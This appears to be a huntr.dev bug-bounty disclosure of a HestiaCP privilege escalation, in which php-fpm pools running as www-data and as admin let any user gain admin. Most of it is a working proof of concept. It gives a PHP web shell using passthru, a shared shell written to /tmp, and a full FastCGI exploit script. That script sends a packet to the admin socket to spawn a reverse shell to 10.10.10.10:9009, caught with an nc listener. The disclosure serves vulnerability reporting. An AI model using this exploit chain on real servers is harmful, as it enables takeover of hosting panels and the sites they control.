Lucene search

K
huntrBytehope21125F12-64A0-42A3-B218-26B9945A5BC0
HistoryOct 14, 2023 - 8:28 p.m.

Privilege Escalation to admin from any other users

2023-10-1420:28:01
bytehope
www.huntr.dev
11
privilege escalation
hestiacp
php-fpm
admin privilege
user control
web shell
security vulnerability

0.0004 Low

EPSS

Percentile

9.2%

Description

By default, hestiacp creates a default fpm configuration that runs php-fpm service as the www-data user (common socket).
Also another php-fpm service runs from admin user and www-data group (unix-socket).
That allows any user upload php-file into /tmp dir, then run that script from www-data, after then run that script from admin and spawn shell.

Have admin user right, an attacker can manager any users and control panel settings.

Proof of Concept

  1. install hestiacp from github instuction https://github.com/hestiacp/hestiacp
  2. login at admin and create example user
  3. login by created user and create website example.local and install web-app. Example laravel-app.
  4. upload a simple php web-shell shell.php which contains <?php passthru($_GET['cmd']);?> into public website folder. Now we can execute command from example user.
  5. Create shared shell with command: echo "<?php passthru(\$_GET['c'] . ' ' . \$_GET['d']);?>" > /tmp/sharred-shell.php
    From web-shell It will look like somthing like this:
http://example.local/shell.php?cmd=echo+%22%3C%3fphp+passthru(\$_GET[%27c%27]+.+%27+%27+.+\$_GET[%27d%27])%3b%3f%3E%22+%3E+/tmp/sharred-shell.php
  1. now we need to find out information about fpm-services info, just execute next command: cat /etc/php/*/fpm/pool.d/*.conf
    From web-shell It will look like somthing like this:
http://example.local/shell.php?cmd=cat+/etc/php/*/fpm/pool.d/*.conf
  1. find and copy listen two listeners, first one there user = admin, second there user = www-data (this is fpm for our user).
    For example, necessaries values from my installation:
[example.local] # our site

...

[www]
listen = 127.0.0.1:9000 # copy `www-data` common-socket listener
listen.allowed_clients = 127.0.0.1 

user = www-data
group = www-data
[debian11.mcs.local]
listen = /run/php/php8.2-fpm-debian11.mcs.local.sock # copy admin unix-socket listener
listen.owner = admin
listen.group = www-data
listen.mode = 0660

user = admin
group = admin
  1. I wrote PoC by php with composer fcgi dependency.
    make expl-by folder and create two files:

composer.json

{
    "name": "bytehope/hestiacp-ple",
    "autoload": {
    },
    "require": {
        "lisachenko/protocol-fcgi": "^3.0"
    }
}

hestia-exploit.php

<?php

use Lisachenko\Protocol\FCGI;
use Lisachenko\Protocol\FCGI\FrameParser;
use Lisachenko\Protocol\FCGI\Record\BeginRequest;
use Lisachenko\Protocol\FCGI\Record\Params;
use Lisachenko\Protocol\FCGI\Record\Stdin;

include "vendor/autoload.php";

function make_packet(string $command, string $data = ''): string
{
    $packet = '';
    $packet .= new BeginRequest(FCGI::RESPONDER);
    $packet .= new Params([
        'SCRIPT_FILENAME' => "/tmp/sharred-shell.php",
        'QUERY_STRING' => sprintf("c=%s&d=%s", urlencode($command), base64_encode($data)),
        'REQUEST_METHOD' => 'GET',
    ]);
    $packet .= new Stdin("");
    return $packet;
}

function read_data($socket)
{
    $response = '';
    while ($partialData = fread($socket, 4096)) {
        $response .= $partialData;
        while (FrameParser::hasFrame($response)) {
            $record = FrameParser::parseFrame($response);
            var_dump($record);
        }
    }
    return $response;
}

function spawn_shell(string $wwwdata_socket, string $admin_unix_socket, string $revers_shell): void
{
    // spwan shell at admin - cgi-packet
    [$r_ip, $r_port] = explode(':', $revers_shell);
    $admin_packet = make_packet(<<<SHEL
php -r '\$sock=fsockopen("{$r_ip}",$r_port);exec("sh <&3 >&3 2>&3");'
SHEL);

    // rce at www-data  - cgi-packet
    $packet = make_packet(<<<LPE
php -r '
\$sock = stream_socket_client("$admin_unix_socket", \$errno, \$errstr); 
fwrite(\$sock, base64_decode(\$argv[1]));
echo fread(\$sock, 4096);
fclose(\$sock);'
LPE, $admin_packet);

    // send packet to www-data socket
    [$wwwdata_ip, $wwwdata_port] = explode(':', $wwwdata_socket);
    $wwwdata_socket = fsockopen($wwwdata_ip, $wwwdata_port, $errorNumber, $errorString);
    fwrite($wwwdata_socket, $packet);
    read_data($wwwdata_socket);
    fclose($wwwdata_socket);
}

spawn_shell(
    "127.0.0.1:9000", # from 6 point, www-data listen conf 
    "unix:///run/php/php8.2-fpm-debian11.mcs.local.sock",  # from 6 point, admin listen conf
    "10.10.10.10:9009" # reverse shell ip and port
);
  1. run cd expl-by, then run composer install and copy expl-by folder into user ~/tmp directory.
  2. run nc -nvlp 9009 on 10.10.10.10 machine
  3. go back to example user and run php hestia-exploit.php
    From web-shell It will look like somthing like this:
http://example.local/shell.php?cmd=php+~/tmp/expl-by/hestia-exploit.php`

0.0004 Low

EPSS

Percentile

9.2%

Related for 21125F12-64A0-42A3-B218-26B9945A5BC0